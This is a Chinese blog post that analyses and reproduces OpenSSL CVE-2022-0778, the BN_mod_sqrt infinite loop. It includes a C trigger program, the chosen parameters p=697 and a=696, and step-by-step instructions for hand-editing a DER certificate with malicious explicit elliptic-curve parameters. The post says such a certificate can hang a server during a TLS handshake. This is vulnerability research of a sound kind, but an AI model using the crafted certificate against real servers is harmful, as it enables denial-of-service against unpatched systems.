本文介绍CVE-2022 0778漏洞及其复现方法,并精心构造了具有一个非法椭圆曲线参数的证书可以触发该漏洞。

本博客已迁移至CatBro's Blog,那是我自己搭建的个人博客,欢迎关注。本文链接

漏洞描述[1]

漏洞出自BN_mod_sqrt()接口函数,它用于计算模平方根,且期望参数p应该是个质数,但是函数内并没有进行检查,这导致内部可能出现无限循环。这个函数在解析如下格式的证书时会被用到:

  • 证书包含压缩格式的椭圆曲线公钥时
  • 证书带有显式椭圆曲线参数,其基点是压缩格式编码的

总之,在解析证书时需要对点坐标进行解压缩操作的就会调用到这个函数。所以外部可以通过精心构造一个具有非法的显式曲线参数的证书来触发无限循环,从而造成DoS拒绝服务攻击。

{% note default no-icon %}

官方补丁commit[2]

{% endnote %}

函数分析

我们先简单过一下这个函数的实现。实现函数签名如下,a是操作数,p是模数

  1. BIGNUM *BN_mod_sqrt(BIGNUM *in, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx)

首先对p做了简单的检查,对p是偶数、1这两个显然不是质数的情况直接报错,对p为2的情况进行了特殊处理。

  1. if (!BN_is_odd(p) || BN_abs_is_word(p, 1)) {
  2. if (BN_abs_is_word(p, 2)) {
  3. // ...
  4. }
  5. BNerr(BN_F_BN_MOD_SQRT, BN_R_P_IS_NOT_PRIME);
  6. return NULL;
  7. }

接下来对a是0或1的特殊情况做了特殊处理

  1. if (BN_is_zero(a) || BN_is_one(a)) {
  2. // ...
  3. }

然后计算A := a mod p,就是计算非负余数

  1. if (!BN_nnmod(A, a, p, ctx))

下面几行的字面意思是从p的第1位开始数有几个连续的0,其实是将|p| - 1表示成如下的格式:|p| - 1 == 2^e * q,即表示成2的幂次方的奇数倍,其中q是奇数。例如p为49,表示二进制是110001,那么e为4,q为3,49 - 1 == 2^4 * 3

  1. e = 1;
  2. while (!BN_is_bit_set(p, e))
  3. e++;

接下来对e等于1或2的简单情况进行特殊处理,因为不会走到无限循环,我们跳过

  1. if (e == 1) {
  2. }
  3. if (e == 2) {
  4. }

对于e > 2的情况,就需要老老实实用Tonelli/Shanks算法来计算了。首先需要找到一个不是平方数的y,且0 < y < |p|,因为不是重点我们跳过。

接下来计算q的值,将p右移e位就得到了q

  1. if (!BN_copy(q, p))
  2. // ...
  3. if (!BN_rshift(q, q, e))

y := (y ^ q) mod p,因为y是个非平方数,所以计算q次方可以得到一个阶为2^e的值。(Don't ask me why ,注释这么写的‍♂️)

  1. if (!BN_mod_exp(y, y, q, p, ctx))

接下来是计算 x := a^((q-1)/2)

  1. if (!BN_rshift1(t, q))
  2. if (!BN_mod_exp(x, A, t, p, ctx))

下面两个计算b := a*x^2 (= a^q)

  1. if (!BN_mod_sqr(b, x, p, ctx))
  2. if (!BN_mod_mul(b, b, A, p, ctx))

然后计算x := a*x (= a^((q+1)/2))

  1. if (!BN_mod_mul(x, x, A, p, ctx))

终于要进入我们最关心的循环结构了,这里有两层循环,死循环是发生在内层的循环中。我们来看下修改前后的代码的区别,下面的是有问题的循环代码:

  1. // before
  2. i = 1;
  3. if (!BN_mod_sqr(t, b, p, ctx))
  4. goto end;
  5. while (!BN_is_one(t)) {
  6. i++;
  7. if (i == e) {
  8. ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
  9. goto end;
  10. }
  11. if (!BN_mod_mul(t, t, t, p, ctx))
  12. goto end;
  13. }

这个是修复后的循环代码:

  1. // after
  2. for (i = 1; i < e; i++) {
  3. if (i == 1) {
  4. if (!BN_mod_sqr(t, b, p, ctx))
  5. goto end;
  6. } else {
  7. if (!BN_mod_mul(t, t, t, p, ctx))
  8. goto end;
  9. }
  10. if (BN_is_one(t))
  11. break;
  12. }

乍一看好像没什么区别,只是把while循环改成了for循环。区别非常细微,主要有两点:

  1. 结束循环的判断条件不同,前者是判断t是否为1来正常结束,在循环内判断i == e来异常结束;而后者是判断i < e来异常结束,循环中判断t是否为1来正常结束
  2. 还有非常重要的一点区别,就是前者i为1的情况并不在循环中

问题就是由于这点细微的区别产生的,考虑这样一种情况,如下内层循环一开始e就小于等于i(比如e=1),那么i == e条件将永远不会满足。如果再使得t永远不等于1,那么就会进入死循环了。

对于第一次进入外层循环,e肯定是大于2的,不会进入死循环,但是别忘了在外层循环最后会把i赋值给e,如下所示:

  1. while (1) {
  2. // ...
  3. for (i = 1; i < e; i++) {
  4. // ...
  5. }
  6. /* t := y^2^(e - i - 1) */
  7. if (!BN_copy(t, y))
  8. goto end;
  9. for (j = e - i - 1; j > 0; j--) {
  10. if (!BN_mod_sqr(t, t, p, ctx))
  11. goto end;
  12. }
  13. if (!BN_mod_mul(y, t, t, p, ctx)) // y := t^2 = y^2^(e-i)
  14. goto end;
  15. if (!BN_mod_mul(x, x, t, p, ctx)) // x = x*t
  16. goto end;
  17. if (!BN_mod_mul(b, b, y, p, ctx)) // b = y^2^(e-i) y is the original
  18. goto end;
  19. e = i;
  20. }

所以结合这些条件,就可以尝试构造出能够进入死循环的攻击方式:

  1. 挑选合适的a和p,使得b^2=1(mod p),其中b是由a计算出来的,这样外层循环在第一次迭代时不会进入while内层循环,i的值就为1,于是外层循环第二次迭代时e就变成了1
  2. 外层循环进行第二次迭代时,只要使得t != 1 (mod p)永远满足,就会进入死循环了

注意:第1个条件在p为正常的质数时也是会发生的,但如果p是合数那么第二条也将满足。

复现问题

要复现问题,其实就是挑选合适的参数a和p使得上面的条件成立。p的选取需要能够满通过函数前面的一些检查,不能是太明显的合数,必须是奇数,且e需要大于2,即二进制表示的p必须是…001形式。此外a的选取需要满足a == -1 (mod p)b == -1 (mod p),这样在第一次外层迭代后e就会设为1,使得第二次进入外层迭代进入死循环。

确定a和p需要一定的数学知识,需要了解Tonelli/Shanks算法的实现。我不是学数学的,没学过数论那些东西,所以要完全了解其数学原理需要花些时间。好在drago-96同学帮我们做了这个事情,他最终选取了p=697,a=696这个组合。有兴趣的可以看一下数学说明[3]

有了a和p,然后写一个简单的测试程序就可以复现问题了

  1. #include <openssl/bn.h>
  2. int main() {
  3. BN_CTX *ctx;
  4. ctx = BN_CTX_new();
  5. BIGNUM *res, *a, *p;
  6. BN_CTX_start(ctx);
  7. res = BN_CTX_get(ctx);
  8. a = BN_CTX_get(ctx);
  9. p = BN_CTX_get(ctx);
  10. BN_dec2bn(&p, "697");
  11. BN_dec2bn(&a, "696");
  12. printf("p = %s\n", BN_bn2dec(p));
  13. printf("a = %s\n", BN_bn2dec(a));
  14. BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
  15. printf("%s\n", BN_bn2dec(res));
  16. return 0;
  17. }

对于修复前的代码,程序执行后会进入死循环

  1. $ ./sqrt
  2. p = 697
  3. a = 696

而修改后可以正常结束。

  1. $ ./sqrt
  2. p = 697
  3. a = 696
  4. 0
  5. $

构造非法证书

接下来我们来尝试构造一个非法的证书,使证书带有显式椭圆曲线参数,且基点是压缩格式编码的。然后我们将证书中曲线参数修改成我们想要的值。

创建一个正常的带显式曲线参数的证书

首先我们需要创建一个ec密钥,因为我们想要证书中包含显式的曲线参数,所以我们在生成密钥时也选择带显式参数

  1. $ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed

接着为了方便起见,我们直接自签发一个证书。这里将输出格式设为DER也是为了方便我们后面的修改ASN1结构。

  1. $ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"

确认一下证书信息,其中包含了曲线参数信息:

  1. $ openssl x509 -in cert.der -text -noout -inform DER
  2. ...
  3. Field Type: prime-field
  4. Prime:
  5. 00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
  6. 00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  7. ff:ff:ff
  8. A:
  9. 00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
  10. 00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
  11. ff:ff:fc
  12. B:
  13. 5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
  14. bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
  15. 60:4b
  16. Generator (compressed):
  17. 03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
  18. 40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
  19. 98:c2:96
  20. Order:
  21. 00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
  22. ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
  23. 63:25:51
  24. ...

其中的Prime、A、B、Generator就是我们需要修改的目标参数。那么我们应该将其改成什么呢?然后又通过什么方法进行修改呢?

构造非法证书

首先,在实际动手我们先需要搞清楚这几个值是什么意思、需要满足什么关系。定义在有限域上的椭圆曲线满足如下方程

\[y^2 \equiv x^3+ax+b\quad (mod\ p)
\]

其中的a就是曲线参数A,b就是曲线参数B,p即为曲线参数Prime,a、b、p参数确定了一条椭圆曲线。解压缩点坐标就是根据x坐标来计算y坐标,从上面的公式可以看到这需要用到求平方根的运算:

\[y=\sqrt{x^3+ax+b}\quad (mod\ p)
\]

我们沿用之前使用的697/696组合,即此时 p = 697,\(x^3+ax+b=696\)。我们只要选择合适的a、b、x是后面那个等式成立就可以了。

我们令x=8,a=23,b=0,等式成立。

接下来就要着手修改我们的证书,徒手修改ASN1结构真的是要了我的老命,大家如果知道有什么方便的工具还请不吝赐教。因为这部分还没法自动化(至少目前没有),所以我就讲一下大概修改的方法。用到的工具主要是xxd转成hex格式进行编辑,完成之后再xxd -r转回去。

  1. 你需要修改Prime、A、B、Generator4个目标字段的值

    1. 其中Prime为697,即十六进制的02b9
    2. A为23,即 十六进制的17
    3. B为0
    4. Generator的x为8,又因为是压缩格式,将其改成十六进制的020008(或030008)
  2. 因为ASN1是嵌套的结构,所以修改了内层长度之后,你还需要把外层的所以长度都进行相应的修正,这是个体力活。
  3. 另外OpenSSL代码中会对ASN1_INTEGER进行padding格式的检查,所以Prime值的前面不能多余的0字节,所以我们必须修改Prime的长度
  4. 而且OpenSSL还会对检查点字符串长度与Prime的长度的关系(对于压缩格式,点字符串的长度需要比Prime长度多1),这也是为什么我们将Genrator设置成030008,而不是0308的原因
  5. 还有注意一点,就是xxd -r转回去之后可能会在文件末尾添加一个0a换行,你需要将其剔除。方法有很多,其中一种就是使用split命令。

我们先来看下证书的ASN1结构,划红线的部分都是我们需要修改的部分

  1. $ openssl asn1parse -in cert.der -inform DER -i

Prime、A、B、Generator的目标值上面已经说了,相关长度的修改前后的值已经列在下表中了:

from(dec) from(hex) to(dec) to(hex)
549 225 488 1e8
460 1cc 399 18f
266 10a 205 cd
227 e3 166 a6
215 d7 154 9a
44 2c 13 0d
33 Prime 21 2 02
33 Generator 21 3 03

具体的修改过程如下,其中编辑文本的步骤已省略:

  1. $ cp cert.der cert.der.old
  2. $ xxd cert.der cert.der.hex
  3. $ cp cert.der.hex cert.der.hex.old
  4. $ vim cert.der.hex
  5. # edit cert.der.hex
  6. # ...
  7. # complete
  8. $ xxd -r cert.der.hex cert.der.new

到这里我们的证书就构造好了,现在来看看修改后的ASN1结构:

  1. $ openssl asn1parse -in cert.der.new -inform DER -i

划红线的部分都已经被我们修改了,且证书的ASN1编码是正常的。

使用非法证书测试

OK,现在我们来解析这个构造的非法证书试试,不出意外的话就会进入无限循环了。

  1. openssl x509 -in cert.der.new -inform DER -text -noout

可以看到openssl进程的CPU占用是100%,且调用栈是在BN_mod_sqrt()函数之中。

如果恶意攻击方在与服务器进行SSL握手时使用类似这种精心构造的证书的话,服务器就会进入死循环,从而造成DoS攻击。

构造的证书以及中间过程产物已经上传Github[3:1]仓库,有需要的可以自行获取。

参考材料


  1. CVE-2022-0778 Detail

  2. Patch commit

  3. catbro666/CVE-2022-0778

OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造的更多相关文章

  1. Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...

  2. phpStudy后门漏洞利用复现

    phpStudy后门漏洞利用复现 一.漏洞描述 Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包,通过集成Apache.PHP.MySQL.phpMyAdmin.ZendOptimiz ...

  3. JBOSS中间件漏洞总汇复现

    JBOSS中间件漏洞总汇复现 JBoss JMXInvokerServlet 反序列化漏洞 漏洞复现 直接使用docker搭建的漏洞环境. 环境搭建完成后,直接使用工具检测即可:工具下载地址https ...

  4. ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...

  5. 泛微e-cology OA系统远程代码执行漏洞及其复现

    泛微e-cology OA系统远程代码执行漏洞及其复现 2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞.攻击者通过调用BeanShell组件中 ...

  6. Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现

    Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现 一.漏洞描述 该漏洞源于程序没有限制可在代理中序列化的类.远程攻击者可借助特制的序列化的java消息服务(JMS)Objec ...

  7. CVE-2019-0708漏洞利用复现

    CVE-2019-0708漏洞利用复现 距离这个漏洞爆出来也有好几个月了,之前一直忙也没来得及写文档,现在重新做一遍. 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 ...

  8. MS17-010漏洞利用复现

    MS17-010漏洞利用复现 准备环境: win7靶机 IP地址:172.16.15.118 Kali攻击机 IP地址:172.16.15.50 首先我们需要查看一下靶机是否开启445端口 打开kal ...

  9. CVE-2020-7245 CTFd v2.0.0 – v2.2.2漏洞分析复现

    CVE-2020-7245 CTFd v2.0.0 – v2.2.2漏洞分析复现 一.漏洞介绍 ​ 在 CTFd v2.0.0 - v2.2.2 的注册过程中,如果知道用户名并在 CTFd 实例上启用 ...

随机推荐

  1. 利用Tensorboard可视化模型、数据和训练过程

    在60分钟闪电战中,我们像你展示了如何加载数据,通过为我们定义的nn.Module的子类的model提供数据,在训练集上训练模型,在测试集上测试模型.为了了解发生了什么,我们在模型训练时打印了一些统计 ...

  2. ybt的坑

    emmmm ybt 字符串处理 例2题解错了 AC自动机板子错了(据说) 另外字符串处理的题解写的我一脸懵逼 网站上eeeee 点击查看E. 1.排队接水 #include <iostream& ...

  3. suging闲谈-netty 的异步非阻塞IO线程与业务线程分离

    前言 surging 对外沉寂了一段时间了,但是作者并没有闲着,而是针对于客户的需要添加了不少功能,也给我带来了不少外快收益, 就比如协议转化,consul 的watcher 机制,JAVA版本,sk ...

  4. SpringBoot一览

    spring-boot入门 了解SpringBoot 为什么学习SpringBoot java一直被人诟病的一点就是臃肿.麻烦.当我们还在辛苦的搭建项目时,可能Python程序员已经把功能写好了,究其 ...

  5. Solution -「JOISC 2021」「LOJ #3489」饮食区

    \(\mathcal{Description}\)   Link.   呐--不想概括题意,自己去读叭~ \(\mathcal{Solution}\)   如果仅有 1. 3. 操作,能不能做?    ...

  6. MXNet源码分析 | Gluon接口分布式训练流程

    本文主要基于MXNet1.6.0版本,对Gluon接口的分布式训练过程进行简要分析. 众所周知,KVStore负责MXNet分布式训练过程中参数的同步,那么它究竟是如何应用在训练中的呢?下面我们将从G ...

  7. Linux系统安装tomcat9服务(含jdk的安装)

    使用虚拟机上CentOS8系统. 1.安装tomcat的依赖jdk版本11 将jdk11解压至相应目录: 设置环境变量: 末尾添加: 更新配置文件: 验证: 补充使用yum安装jdk的方式: 1)查看 ...

  8. rar解压密码破解软件工具下载

    软件已激活,下载即可使用 下载地址: https://dl.winzf.com/25_794.html 软件介绍现在市面商的rar压缩包破解软件的原理都是,输入密码一个一个尝试,然后得出压缩包正确密码 ...

  9. io流复习+代码演示

    前置知识: 序列化和反序列化 1.序列化就是在保存数据时, 保存数据的值和数据类型 2.反序列化就是在恢复数据时, 恢复数据的值和数据类型 3.需要让某个对象支持序列化机制,则必须让其类是可序列化的, ...

  10. 数据库delete from和truncate删除的区别详解

    一:区别 1.delete from 后面可以直接接条件,truncate不可以 2.delete from 记录是一条条删除的,所删除的每行记录都会进入日志,而truncate一次性删除整个页,因此 ...